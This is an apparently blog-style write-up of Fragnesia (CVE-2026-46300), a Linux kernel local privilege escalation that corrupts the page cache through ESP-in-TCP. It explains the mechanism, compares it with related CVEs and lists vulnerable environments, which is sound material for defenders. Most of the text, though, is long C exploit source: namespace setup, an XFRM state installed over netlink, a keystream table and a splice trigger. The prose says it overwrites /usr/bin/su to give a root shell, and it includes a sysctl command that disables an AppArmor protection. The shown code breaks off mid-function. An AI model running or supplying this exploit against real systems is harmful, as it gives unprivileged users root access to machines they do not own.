Home Linux & Systems Cybersecurity Cloud & DevOps Networks & Infrastructure SIEM & Monitoring DFIR & Threat Intel Development & Other All categories Projects About Tools

Fragnesia (CVE-2026-46300): LPE on Linux via ESP-in-TCP and page cache

Leer en espanol
Fragnesia (CVE-2026-46300): LPE on Linux via ESP-in-TCP and page cache

Table of contents

Fragnesia is a local privilege escalation (LPE) vulnerability in the Linux kernel discovered by William Bowling of the V12 Security team. It belongs to the same ===

What is Fragnesia (CVE-2026-46300)

Fragnesia is a local privilege escalation (LPE) vulnerability in the Linux kernel discovered by William Bowling of the team V12 Security. It belongs to the same class of vulnerability as Dirty Frag (CVE-2026-43284/43500) and Copy Fail (CVE-2026-31431): corruption of the page cache to overwrite protected files in memory.

Unlike Dirty Frag which chains two CVEs in xfrm and RxRPC subsystems, Fragnesia exploits a independent logic bug in the subsystem ESP-in-TCP (espintcp ULP) of the XFRM code. The exploit writes a 192-byte ELF shellcode over /usr/bin/su in the page cache, byte by byte, without race conditions or distribution dependency.

Key data

FieldWorth
CVECVE-2026-46300
CVSS7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
CWECWE-787 (Out-of-bounds Write)
Kernels affectedEveryone affected by Dirty Frag: Linux < May 13, 2026 patch. Confirmed in 6.8.0-111-generic (Ubuntu)
public exploitYeah (v12-security/pocs/phragnesia)
ComplexityLow (C compilation, without race conditions)
SubsystemXFRM ESP-in-TCP (espintcp ULP), net/core/skbuff.c
Patch2 lines in skbuff.c
DiscovererWilliam Bowling / V12 Security

How the exploit works

The name "Fragnesia" comes from the bug that causes a skb to "forget" (amnesia) that a fragment (frag) is shared during coalescing. This allows the XOR kernel to read AES-GCM decryption data directly over page cache pages that should be read-only.

Step by step mechanism

  1. Namespace setup: the exploit does fork() to create a child process that runs unshare(CLONE_NEWUSER). The parent maps uid/gid via /proc//uid_map and /proc//gid_map. Then the son does unshare(CLONE_NEWNET) to get CAP_NET_ADMIN in the new network namespace without real privileges on the host. Finally raise the loopback interface (lo) with ioctl(SIOCSIFFLAGS)
  1. Installation of Security Association XFRM: within the network namespace, install an ESP-in-TCP SA in transport mode via NETLINK_XFRM (XFRM_MSG_NEWSA) wearing rfc4106(gcm(aes)) with 20-byte hardcoded key (16 bytes AES + 4 bytes salt), SPI 0x100, over IPv6 loopback (::1), TCP port 5556, and encapsulation TCP_ENCAP_ESPINTCP
  1. Keystream table: build a table of 256 entries via AF_ALG with the cipher ecb(aes). For each nonce n in [0, 65535], build the AES-GCM counter block [salt(4) || 0xcccccccc || n(4) || 00000002], encrypts with ECB(AES) under the first 16 bytes of the key, and takes byte 0 of the result. If that value is not in the table, record it as stream0_nonce[byte] = n. The process ends when all 256 possible values ​​are covered (typically in less than 65,536 iterations).
  1. Trigger splice-then-ULP: for each byte to be modified, the exploit does fork() of two child processes: receiver and send. The receiver opens a TCP IPv6 socket on port 5556 (SOCK_STREAM), accept the connection, wait 30ms (RECEIVER_PRE_ULP_US), and then activate setsockopt(TCP_ULP, "espintcp") when the data is already in the socket buffer. The sender connects to the receiver, sends a prefix of 18 bytes (2 bytes length + 16 bytes header ESP with SPI, seq and IV chosen), waits 1ms, and does splice() 4096 bytes (FRAG_LEN) from the target file to a pipe and from there to the TCP socket. When the ULP is activated, the kernel interprets the already queued data as an ESP-in-TCP record and attempts to decrypt in-place, XOR-ing the AES-GCM keystream directly on the page cache page — the same physical page that backs the VFS entry.
  1. Byte-by-byte writing: Steps 3-4 are repeated for each byte of the 192-byte payload that does not already have the desired value. Each iteration calculates need_stream = current_byte XOR desired_byte, look for the corresponding nonce in stream0_nonce[need_stream], increments the ESP sequence number, and triggers a new sender/receiver pair. The exploit displays a visual interface in terminal with byte-by-byte hexadecimal progress and a progress bar
  1. Verification and execution: after writing all the bytes, the exploit makes a verification pass reading each byte of /usr/bin/su to confirm that it matches the desired payload. If everything is correct, run execve("/usr/bin/su") which now contains the 192 byte ELF stub: setresuid(0,0,0) + setresgid(0,0,0) + execve("/bin/sh") → root shell. The modification is only in page cache; the binary on disk is not touched

Technical differences with Dirty Frag and Copy Fail

AspectCopy Fail (CVE-2026-31431)Dirty Frag (CVE-2026-43284/43500)Fragnesia (CVE-2026-46300)
LanguagePython (732 bytes)C (~1400 lines)C (~900 lines)
Subsystemcrypto (algif_aead)xfrm ESP + RxRPCxfrm ESP-in-TCP (espintcp ULP)
Mechanismsplice() on AF_ALGESP fragments + rxkadsplice-then-ULP transition
target/usr/bin/su (ELF shellcode)/etc/passwd (remove password root)/usr/bin/su (ELF shellcode)
WritingComplete pages4 bytes per trigger (seqhi)1 byte per trigger (AES-GCM XOR)
race conditionNoNoNo
CryptoNofcrypt brute force (~1-45s)AES-GCM keystream lookup (instant)
AppArmorNot affectedPath xfrm blocked, RxRPC worksRequires apparmor_restrict_unprivileged_userns=0
PersistencePage cache onlyPage cache (can sync to disk)Page cache only

Exploitation scenarios

Where IS exploitable

SceneryRiskBecause
Ubuntu 24.04+ without AppArmor restriction disabledHighRequires kernel.apparmor_restrict_unprivileged_userns=0 or previous bypass
Fedora, RHEL, DebianCriticalNo restriction on user namespaces by default
Multi-tenant servers (jump hosts, CI runners)CriticalAny user with shell gets root
Kubernetes/containers without seccompCriticalPage cache shared host-pods
Linode, DigitalOcean, Hetzner (VPS)CriticalCommitted by V12 on Linode with kernel 6.8.0-111-generic

Where it is NOT exploitable

SceneryBecause
Ubuntu with AppArmor restriction activeBlock unshare(CLONE_NEWUSER) (default on Ubuntu 24.04+)
Containers with strict seccompBlocks XFRM socket and unshare
Kernel with patch from May 13, 2026Bug fixed in skbuff.c
gVisor / FirecrackerThey do not implement espintcp ULP
Systems with disabled esp4/esp6 modulesNo attack surface

Important note about Ubuntu: AppArmor's restriction on non-privileged user namespaces (kernel.apparmor_restrict_unprivileged_userns) is active by default in Ubuntu 24.04+. However, V12 indicates that bypasses exist (outside the scope of this CVE) and many administrators disable it for compatibility with applications such as Chrome, Flatpak or bubblewrap.

Exploit source code (fragnesia.c)

Below is the complete source code for the Fragnesia exploit (v12-security/pocs). The binary is compiled with gcc -O2 -Wall -Wextra -o exp fragnesia.c and exploits the ESP-in-TCP bug to overwrite /usr/bin/su in the page cache byte by byte using the AES-GCM keystream.

Warning: This PoC is provided for educational and research purposes. Do not use it on systems on which you do not have explicit authorization to perform security tests.

c
// Fragnesia: universal Linux LPE
// Ubuntu users: AppArmor interferes with using namespaces, you need to use
// `sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=0`.
//
// You can chain other bugs to bypass this requirement but this is out of scope for this vulnerability.
//
// Found with V12 by William Bowling on the V12 team
// V12 - https://v12.sh - dangerously powerful agentic security

// Patch: https://lists.openwall.net/netdev/2026/05/13/79

/*
 * Slim ESP-in-TCP/TCP-coalesce page-cache replacement PoC.
 *
 * It only targets an already prepared disposable regular file under /tmp or
 * /var/tmp.  The file must be readable by the caller and should be non-writable
 * to demonstrate the permission boundary.
 *
 * Build:
 *   gcc -O2 -Wall -Wextra -static xfrm_espintcp_pagecache_replace.c -o xfrm_espintcp_pagecache_replace
 *
 * Run:
 *   ./xfrm_espintcp_pagecache_replace /tmp/root-owned-copy 0 42434445
 *
 * Exit codes:
 *   1: vulnerable behavior verified
 *   0: fixed/no mutation observed
 *   2: local setup or argument error
 *   4: namespace/XFRM gate closed
 */

#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <grp.h>
#if __has_include(<linux/if_alg.h>)
#include <linux/if_alg.h>
#else
#include <linux/types.h>
struct sockaddr_alg {
	__u16 salg_family;
	__u8 salg_type[14];
	__u32 salg_feat;
	__u32 salg_mask;
	__u8 salg_name[64];
};
#endif
#include <linux/netlink.h>
#include <linux/udp.h>
#include <linux/xfrm.h>
#include <limits.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <sched.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#ifndef TCP_ULP
#define TCP_ULP 31
#endif

#ifndef NETLINK_XFRM
#define NETLINK_XFRM 6
#endif

#ifndef TCP_ENCAP_ESPINTCP
#define TCP_ENCAP_ESPINTCP 7
#endif

#ifndef AF_ALG
#define AF_ALG 38
#endif

#ifndef SOL_ALG
#define SOL_ALG 279
#endif

#ifndef ALG_SET_KEY
#define ALG_SET_KEY 1
#endif

#ifndef ALG_SET_OP
#define ALG_SET_OP 3
#endif

#ifndef ALG_OP_ENCRYPT
#define ALG_OP_ENCRYPT 1
#endif

#ifndef NLA_ALIGNTO
#define NLA_ALIGNTO 4
#endif

#ifndef NLA_ALIGN
#define NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1))
#endif

#ifndef NLA_HDRLEN
#define NLA_HDRLEN ((int)NLA_ALIGN(sizeof(struct nlattr)))
#endif

#define FRAG_LEN 4096
#define ESP_GCM_ICV_LEN 16
#define ESP_GCM_ENCRYPTED_LEN (FRAG_LEN - ESP_GCM_ICV_LEN)
#define TCP_PORT 5556

#define PAYLOAD_LEN         192
#define FRAME_PAYLOAD_ROWS  12      /* ceil(PAYLOAD_LEN / 16) */
#define FRAME_BAR_W         50
#define FRAME_LINES         15      /* 1 header + 12 hex + 1 bar + 1 sep */

#define RECEIVER_PRE_ULP_US 30000
#define SENDER_PRE_SPLICE_US 1000
#define RECEIVER_POST_ULP_US 30000

static const unsigned char xfrm_aead_key[20] = {
	0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77,
	0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff,
	0x01, 0x02, 0x03, 0x04
};

static unsigned char active_esp_gcm_iv[8] = {
	0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc
};
static uint32_t active_esp_seq = 1;
static const char *target_file;
static char target_file_buf[PATH_MAX];
static loff_t target_splice_off;

static uint16_t stream0_nonce[256];
static bool stream0_have[256];

static void die(const char *what)
{
	fprintf(stderr, "%s: %s\n", what, strerror(errno));
	exit(2);
}

static void gate_fail(const char *what)
{
	printf("namespace_gate_failed: %s errno=%d (%s)\n",
	       what, errno, strerror(errno));
	exit(4);
}

static void store_be32(unsigned char *p, uint32_t v)
{
	p[0] = (unsigned char)(v >> 24);
	p[1] = (unsigned char)(v >> 16);
	p[2] = (unsigned char)(v >> 8);
	p[3] = (unsigned char)v;
}

/* ANSI colours */
#define C_RESET  "\033[0m"
#define C_BOLD   "\033[1m"
#define C_DIM    "\033[2m"
#define C_RED    "\033[31m"
#define C_GREEN  "\033[32m"
#define C_YELLOW "\033[33m"
#define C_CYAN   "\033[36m"
#define C_WHITE  "\033[97m"
#define C_BRED   "\033[1;31m"
#define C_BGRN   "\033[1;32m"
#define C_BYLW   "\033[1;33m"
#define C_BCYN   "\033[1;36m"
#define C_BWHT   "\033[1;97m"

static void print_hex_bytes(const char *label, const unsigned char *buf,
			    size_t len)
{
	size_t i;

	printf(C_DIM "%s=" C_RESET C_CYAN, label);
	for (i = 0; i < len; i++)
		printf("%02x", buf[i]);
	printf(C_RESET "\n");
}

/* Dump a 16-byte aligned row centred on `highlight_off`, marking that byte. */
static void print_hex_row(const char *path, uint64_t highlight_off,
			  const char *before_label, unsigned char before_val,
			  const char *after_label,  unsigned char after_val)
{
	uint64_t row_start = highlight_off & ~(uint64_t)15;
	unsigned char row[16];
	ssize_t got;
	size_t col;
	int fd;

	fd = open(path, O_RDONLY | O_CLOEXEC);
	if (fd < 0)
		return;
	got = pread(fd, row, sizeof(row), (off_t)row_start);
	close(fd);
	if (got <= 0)
		return;

	/* Hex section */
	printf(C_DIM "  %016llx  " C_RESET, (unsigned long long)row_start);
	for (col = 0; col < 16; col++) {
		if (col == 8)
			printf(" ");
		if ((size_t)got > col) {
			if (row_start + col == highlight_off)
				printf(C_BRED "[%02x]" C_RESET, row[col]);
			else
				printf(C_DIM "%02x " C_RESET, row[col]);
		} else {
			printf(C_DIM "   " C_RESET);
		}
	}

	/* ASCII section */
	printf("  " C_DIM "|" C_RESET);
	for (col = 0; col < (size_t)got; col++) {
		unsigned char c = row[col];
		if (row_start + col == highlight_off)
			printf(C_BRED "%c" C_RESET,
			       (c >= 0x20 && c < 0x7f) ? c : '.');
		else
			printf(C_DIM "%c" C_RESET,
			       (c >= 0x20 && c < 0x7f) ? c : '.');
	}
	printf(C_DIM "|" C_RESET "\n");

	/* Annotation line */
	size_t col_off = (size_t)(highlight_off - row_start);
	size_t arrow_pos = 20 + col_off * 3 + (col_off >= 8 ? 1 : 0) + 1;
	printf("%*s" C_BYLW "^-- +%04llx  "
	       C_RED "%s" C_RESET ":" C_BRED "%02x" C_RESET
	       "  ->  "
	       C_GREEN "%s" C_RESET ":" C_BGRN "%02x" C_RESET "\n",
	       (int)arrow_pos, "",
	       (unsigned long long)(highlight_off & 0xffff),
	       before_label, before_val,
	       after_label, after_val);
}

static int open_afalg_aes_ecb(void)
{
	struct sockaddr_alg sa = {
		.salg_family = AF_ALG,
	};
	int fd;

	fd = socket(AF_ALG, SOCK_SEQPACKET | SOCK_CLOEXEC, 0);
	if (fd < 0)
		die("socket(AF_ALG)");

	strcpy((char *)sa.salg_type, "skcipher");
	strcpy((char *)sa.salg_name, "ecb(aes)");
	if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0)
		die("bind AF_ALG ecb(aes)");
	if (setsockopt(fd, SOL_ALG, ALG_SET_KEY, xfrm_aead_key, 16) < 0)
		die("setsockopt AF_ALG key");

	return fd;
}

static void afalg_aes_encrypt_block(int alg_fd, const unsigned char in[16],
				    unsigned char out[16])
{
	char cbuf[CMSG_SPACE(sizeof(uint32_t))] = {};
	struct iovec iov = {
		.iov_base = (void *)in,
		.iov_len = 16,
	};
	struct msghdr msg = {
		.msg_iov = &iov,
		.msg_iovlen = 1,
		.msg_control = cbuf,
		.msg_controllen = sizeof(cbuf),
	};
	struct cmsghdr *cmsg;
	uint32_t op = ALG_OP_ENCRYPT;
	ssize_t ret;
	int op_fd;

	op_fd = accept4(alg_fd, NULL, NULL, SOCK_CLOEXEC);
	if (op_fd < 0)
		die("accept AF_ALG");

	cmsg = CMSG_FIRSTHDR(&msg);
	cmsg->cmsg_level = SOL_ALG;
	cmsg->cmsg_type = ALG_SET_OP;
	cmsg->cmsg_len = CMSG_LEN(sizeof(op));
	memcpy(CMSG_DATA(cmsg), &op, sizeof(op));

	ret = sendmsg(op_fd, &msg, 0);
	if (ret != 16)
		die("sendmsg AF_ALG block");
	ret = read(op_fd, out, 16);
	if (ret != 16)
		die("read AF_ALG block");

	close(op_fd);
}

static unsigned char aes_gcm_stream0_byte(int alg_fd,
					  const unsigned char iv[8])
{
	unsigned char counter_block[16], stream[16];

	memcpy(counter_block, &xfrm_aead_key[16], 4);
	memcpy(counter_block + 4, iv, 8);
	store_be32(counter_block + 12, 2);
	afalg_aes_encrypt_block(alg_fd, counter_block, stream);
	return stream[0];
}

static void build_stream0_table(void)
{
	unsigned char iv[8] = {
		0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc
	};
	unsigned int count = 0, nonce;
	int alg_fd;

	alg_fd = open_afalg_aes_ecb();
	for (nonce = 0; nonce <= 0xffff && count < 256; nonce++) {
		unsigned char b;

		store_be32(iv + 4, nonce);
		b = aes_gcm_stream0_byte(alg_fd, iv);
		if (stream0_have[b])
			continue;
		stream0_have[b] = true;
		stream0_nonce[b] = (uint16_t)nonce;
		count++;
	}
	close(alg_fd);

	if (count != 256) {
		fprintf(stderr, "failed to build complete stream-byte table: %u/256\n",
			count);
		exit(2);
	}
	printf("stream0_table_entries=256\n");
}

static void choose_iv_for_stream0(unsigned char need_stream)
{
	uint16_t nonce = stream0_nonce[need_stream];

	memset(active_esp_gcm_iv, 0xcc, sizeof(active_esp_gcm_iv));
	store_be32(active_esp_gcm_iv + 4, nonce);
	printf("byte_flip_nonce=%u stream_byte=%02x\n", nonce, need_stream);
	print_hex_bytes("byte_flip_packet_iv", active_esp_gcm_iv,
			sizeof(active_esp_gcm_iv));
}

static uint64_t parse_u64_arg(const char *s, const char *name)
{
	char *end = NULL;
	unsigned long long v;

	if (s[0] == '-') {
		fprintf(stderr, "invalid %s: %s\n", name, s);
		exit(2);
	}
	errno = 0;
	v = strtoull(s, &end, 0);
	if (errno || !end || *end != '\0') {
		fprintf(stderr, "invalid %s: %s\n", name, s);
		exit(2);
	}
	return (uint64_t)v;
}

static int hex_nibble(int c)
{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return 10 + c - 'a';
	if (c >= 'A' && c <= 'F')
		return 10 + c - 'A';
	return -1;
}

static bool is_hex_separator(int c)
{
	return c == ':' || c == ',' || c == '-' || c == '_' ||
	       c == ' ' || c == '\t' || c == '\n' || c == '\r';
}

static unsigned char *parse_hex_bytes_arg(const char *s, size_t *len_out)
{
	size_t cap = strlen(s) / 2 + 1, len = 0;
	unsigned char *buf;
	int hi = -1, v;

	buf = malloc(cap);
	if (!buf)
		die("malloc desired bytes");

	for (; *s; s++) {
		if (is_hex_separator((unsigned char)*s))
			continue;
		if (hi < 0 && s[0] == '0' && (s[1] == 'x' || s[1] == 'X')) {
			s++;
			continue;
		}

		v = hex_nibble((unsigned char)*s);
		if (v < 0) {
			fprintf(stderr, "invalid hex byte string near '%c'\n", *s);
			exit(2);
		}
		if (hi < 0) {
			hi = v;
			continue;
		}
		buf[len++] = (unsigned char)((hi << 4) | v);
		hi = -1;
	}

	if (hi >= 0) {
		fprintf(stderr, "hex byte string has an odd number of nibbles\n");
		exit(2);
	}
	if (len == 0) {
		fprintf(stderr, "hex byte string is empty\n");
		exit(2);
	}

	*len_out = len;
	return buf;
}

static unsigned char read_byte_at(const char *path, uint64_t off)
{
	unsigned char b;
	ssize_t ret;
	int fd;

	fd = open(path, O_RDONLY | O_CLOEXEC);
	if (fd < 0)
		die("open read byte");
	ret = pread(fd, &b, 1, (off_t)off);
	if (ret < 0)
		die("pread byte");
	if (ret != 1) {
		fprintf(stderr, "short pread at offset=%llu\n",
			(unsigned long long)off);
		exit(2);
	}
	close(fd);
	return b;
}

static void print_file_sample(const char *label, uint64_t off, size_t len)
{
	unsigned char buf[32];
	ssize_t ret;
	int fd;

	if (len > sizeof(buf))
		len = sizeof(buf);
	fd = open(target_file, O_RDONLY | O_CLOEXEC);
	if (fd < 0)
		die("open sample");
	ret = pread(fd, buf, len, (off_t)off);
	if (ret < 0)
		die("pread sample");
	close(fd);
	if ((size_t)ret != len) {
		fprintf(stderr, "short sample at offset=%llu len=%zu got=%zd\n",
			(unsigned long long)off, len, ret);
		exit(2);
	}
	print_hex_bytes(label, buf, len);
}

static uint64_t use_existing_target(const char *path)
{
	struct stat lst, st;

	if (lstat(path, &lst) < 0)
		die("lstat target");
	if (!S_ISREG(lst.st_mode)) {
		fprintf(stderr, "target is not a regular file\n");
		exit(2);
	}
	if (stat(path, &st) < 0)
		die("stat target");
	if (!S_ISREG(st.st_mode)) {
		fprintf(stderr, "target is not a regular file\n");
		exit(2);
	}
	if (st.st_size < FRAG_LEN) {
		fprintf(stderr, "target is too small: size=%lld need>=%d\n",
			(long long)st.st_size, FRAG_LEN);
		exit(2);
	}
	if (snprintf(target_file_buf, sizeof(target_file_buf), "%s", path) >=
	    (int)sizeof(target_file_buf)) {
		fprintf(stderr, "target path is too long\n");
		exit(2);
	}

	target_file = target_file_buf;
	return (uint64_t)st.st_size;
}

static void verify_write_denied(const char *label)
{
	int fd;

	errno = 0;
	fd = open(target_file, O_WRONLY | O_CLOEXEC);
	if (fd >= 0) {
		close(fd);
		printf("namespace_gate_failed: %s write-open unexpectedly succeeded\n",
		       label);
		exit(4);
	}

	printf("%s_write_open_denied=1 errno=%d (%s)\n",
	       label, errno, strerror(errno));
}

static int write_all_file_status(const char *path, const char *buf)
{
	size_t len = strlen(buf);
	int fd, saved_errno;

	fd = open(path, O_WRONLY | O_CLOEXEC);
	if (fd < 0)
		return -1;
	if (write(fd, buf, len) != (ssize_t)len) {
		saved_errno = errno;
		close(fd);
		errno = saved_errno;
		return -1;
	}
	close(fd);
	return 0;
}

static void sync_write_byte(int fd)
{
	char c = 'M';

	if (write(fd, &c, 1) != 1)
		die("sync write");
	close(fd);
}

static void sync_read_byte(int fd)
{
	char c;

	if (read(fd, &c, 1) != 1)
		die("sync read");
	close(fd);
}

static void parent_map_write_or_exit(pid_t child, const char *name,
				     const char *data)
{
	char path[128];

	snprintf(path, sizeof(path), "/proc/%ld/%s", (long)child, name);
	if (write_all_file_status(path, data) < 0) {
		printf("namespace_gate_failed: %s errno=%d (%s)\n",
		       path, errno, strerror(errno));
		kill(child, SIGKILL);
		waitpid(child, NULL, 0);
		exit(4);
	}
}

static void enter_mapped_userns(void)
{
	uid_t outer_uid = getuid();
	gid_t outer_gid = getgid();
	int ready_pipe[2], mapped_pipe[2], status;
	char map[128];
	pid_t child;

	if (pipe(ready_pipe) < 0)
		die("pipe ready");
	if (pipe(mapped_pipe) < 0)
		die("pipe mapped");

	child = fork();
	if (child < 0)
		die("fork userns mapper");

	if (child > 0) {
		close(ready_pipe[1]);
		close(mapped_pipe[0]);

		sync_read_byte(ready_pipe[0]);

		snprintf(map, sizeof(map), "0 %u 1\n", outer_uid);
		parent_map_write_or_exit(child, "uid_map", map);
		parent_map_write_or_exit(child, "setgroups", "deny\n");
		snprintf(map, sizeof(map), "0 %u 1\n", outer_gid);
		parent_map_write_or_exit(child, "gid_map", map);

		sync_write_byte(mapped_pipe[1]);

		if (waitpid(child, &status, 0) < 0)
			die("wait userns child");
		if (WIFEXITED(status))
			exit(WEXITSTATUS(status));
		if (WIFSIGNALED(status)) {
			fprintf(stderr, "userns child killed by signal %d\n",
				WTERMSIG(status));
			exit(2);
		}
		exit(2);
	}

	close(ready_pipe[0]);
	close(mapped_pipe[1]);

	if (unshare(CLONE_NEWUSER) < 0)
		gate_fail("unshare(CLONE_NEWUSER)");

	sync_write_byte(ready_pipe[1]);
	sync_read_byte(mapped_pipe[0]);

	if (setresgid(0, 0, 0) < 0)
		gate_fail("setresgid 0 in userns");
	if (setresuid(0, 0, 0) < 0)
		gate_fail("setresuid 0 in userns");

	printf("userns_setup: outer_uid=%u outer_gid=%u ns_uid=%d ns_gid=%d\n",
	       outer_uid, outer_gid, getuid(), getgid());
}

static void bring_loopback_up(void)
{
	struct ifreq ifr;
	int fd;

	fd = socket(AF_INET, SOCK_DGRAM | SOCK_CLOEXEC, 0);
	if (fd < 0)
		gate_fail("socket(AF_INET)");

	memset(&ifr, 0, sizeof(ifr));
	strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1);
	if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0)
		gate_fail("SIOCGIFFLAGS lo");
	ifr.ifr_flags |= IFF_UP;
	if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
		gate_fail("SIOCSIFFLAGS lo up");
	close(fd);

	printf("loopback_up=1\n");
}

static void add_nlattr(struct nlmsghdr *nlh, size_t maxlen,
		       unsigned short type, const void *data, size_t len)
{
	size_t off = NLMSG_ALIGN(nlh->nlmsg_len);
	struct nlattr *nla;

	if (off + NLA_HDRLEN + len > maxlen) {
		fprintf(stderr, "netlink message too small\n");
		exit(2);
	}

	nla = (struct nlattr *)((char *)nlh + off);
	nla->nla_type = type;
	nla->nla_len = NLA_HDRLEN + len;
	memcpy((char *)nla + NLA_HDRLEN, data, len);
	nlh->nlmsg_len = off + NLA_ALIGN(nla->nla_len);
}

static int nl_ack_errno(char *buf, ssize_t len)
{
	struct nlmsghdr *nlh;
	struct nlmsgerr *err;

	for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, (unsigned int)len);
	     nlh = NLMSG_NEXT(nlh, len)) {
		if (nlh->nlmsg_type != NLMSG_ERROR)
			continue;
		err = (struct nlmsgerr *)NLMSG_DATA(nlh);
		if (err->error == 0)
			return 0;
		errno = -err->error;
		return -1;
	}

	errno = EPROTO;
	return -1;
}

static void add_xfrm_espintcp_state(void)
{
	char reqbuf[4096], resp[4096];
	char aeadbuf[sizeof(struct xfrm_algo_aead) + sizeof(xfrm_aead_key)];
	struct sockaddr_nl sa = {
		.nl_family = AF_NETLINK,
	};
	struct xfrm_usersa_info *xs;
	struct xfrm_algo_aead *aead;
	struct xfrm_encap_tmpl encap;
	struct nlmsghdr *nlh;
	ssize_t ret;
	int fd;

	memset(reqbuf, 0, sizeof(reqbuf));
	nlh = (struct nlmsghdr *)reqbuf;
	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*xs));
	nlh->nlmsg_type = XFRM_MSG_NEWSA;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
	nlh->nlmsg_seq = 1;

	xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh);
	if (inet_pton(AF_INET6, "::1", &xs->saddr.in6) != 1)
		die("inet_pton saddr");
	if (inet_pton(AF_INET6, "::1", &xs->id.daddr.in6) != 1)
		die("inet_pton daddr");
	xs->id.spi = htonl(0x100);
	xs->id.proto = IPPROTO_ESP;
	xs->family = AF_INET6;
	xs->mode = XFRM_MODE_TRANSPORT;
	xs->reqid = 1;
	xs->lft.soft_byte_limit = XFRM_INF;
	xs->lft.hard_byte_limit = XFRM_INF;
	xs->lft.soft_packet_limit = XFRM_INF;
	xs->lft.hard_packet_limit = XFRM_INF;

	memset(aeadbuf, 0, sizeof(aeadbuf));
	aead = (struct xfrm_algo_aead *)aeadbuf;
	snprintf(aead->alg_name, sizeof(aead->alg_name), "rfc4106(gcm(aes))");
	aead->alg_key_len = sizeof(xfrm_aead_key) * 8;
	aead->alg_icv_len = 128;
	memcpy(aead->alg_key, xfrm_aead_key, sizeof(xfrm_aead_key));
	add_nlattr(nlh, sizeof(reqbuf), XFRMA_ALG_AEAD, aeadbuf, sizeof(aeadbuf));

	memset(&encap, 0, sizeof(encap));
	encap.encap_type = TCP_ENCAP_ESPINTCP;
	encap.encap_sport = htons(TCP_PORT);
	encap.encap_dport = htons(TCP_PORT);
	add_nlattr(nlh, sizeof(reqbuf), XFRMA_ENCAP, &encap, sizeof(encap));

	fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_XFRM);
	if (fd < 0)
		gate_fail("socket(NETLINK_XFRM)");
	if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0)
		gate_fail("bind(NETLINK_XFRM)");

	memset(&sa, 0, sizeof(sa));
	sa.nl_family = AF_NETLINK;
	ret = sendto(fd, nlh, nlh->nlmsg_len, 0, (struct sockaddr *)&sa,
		     sizeof(sa));
	if (ret < 0)
		gate_fail("sendto XFRM_MSG_NEWSA");
	if (ret != (ssize_t)nlh->nlmsg_len) {
		errno = EIO;
		gate_fail("short sendto XFRM_MSG_NEWSA");
	}

	ret = recv(fd, resp, sizeof(resp), 0);
	if (ret < 0)
		gate_fail("recv XFRM ack");
	if (nl_ack_errno(resp, ret) < 0)
		gate_fail("XFRM_MSG_NEWSA ack");
	close(fd);

	printf("xfrm_espintcp_state_add=1\n");
}

static void setup_user_netns_xfrm(void)
{
	if (prctl(PR_SET_DUMPABLE, 1, 0, 0, 0) < 0)
		die("prctl PR_SET_DUMPABLE");
	enter_mapped_userns();

	if (unshare(CLONE_NEWNET) < 0)
		gate_fail("unshare(CLONE_NEWNET)");

	printf("netns_setup=1\n");
	bring_loopback_up();
	add_xfrm_espintcp_state();
	printf("namespace_setup_complete=1\n");
}

static void write_ready(int fd)
{
	char c = 'R';

	if (write(fd, &c, 1) != 1)
		die("ready write");
	close(fd);
}

static void wait_ready(int fd)
{
	char c;

	if (read(fd, &c, 1) != 1)
		die("ready read");
	close(fd);
}

static void receiver(int ready_write_fd)
{
	struct sockaddr_in6 addr = {
		.sin6_family = AF_INET6,
		.sin6_addr = IN6ADDR_LOOPBACK_INIT,
		.sin6_port = htons(TCP_PORT),
		.sin6_flowinfo = 0,
		.sin6_scope_id = 0,
	};
	char ulp[] = "espintcp";
	int fd, cfd, one = 1;

	fd = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 0);
	if (fd < 0)
		die("receiver socket");
	if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0)
		die("receiver reuseaddr");
	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die("receiver bind");
	if (listen(fd, 1) < 0)
		die("receiver listen");

	write_ready(ready_write_fd);

	cfd = accept4(fd, NULL, NULL, SOCK_CLOEXEC);
	if (cfd < 0)
		die("receiver accept");

	usleep(RECEIVER_PRE_ULP_US);
	if (setsockopt(cfd, IPPROTO_TCP, TCP_ULP, ulp, sizeof(ulp)) < 0)
		die("receiver TCP_ULP espintcp");

	printf("receiver_ns_uid=%d euid=%d espintcp_enabled_after_queue=1\n",
	       getuid(), geteuid());
	usleep(RECEIVER_POST_ULP_US);
	close(cfd);
	close(fd);
	_exit(0);
}

static void sender(int ready_read_fd)
{
	struct sockaddr_in6 dst = {
		.sin6_family = AF_INET6,
		.sin6_addr = IN6ADDR_LOOPBACK_INIT,
		.sin6_port = htons(TCP_PORT),
		.sin6_flowinfo = 0,
		.sin6_scope_id = 0,
	};
	struct {
		__be16 len;
		unsigned char esp[16];
	} prefix;
	loff_t off, start_off;
	int fd, sock, p[2], one = 1;
	ssize_t ret, sent;

	wait_ready(ready_read_fd);

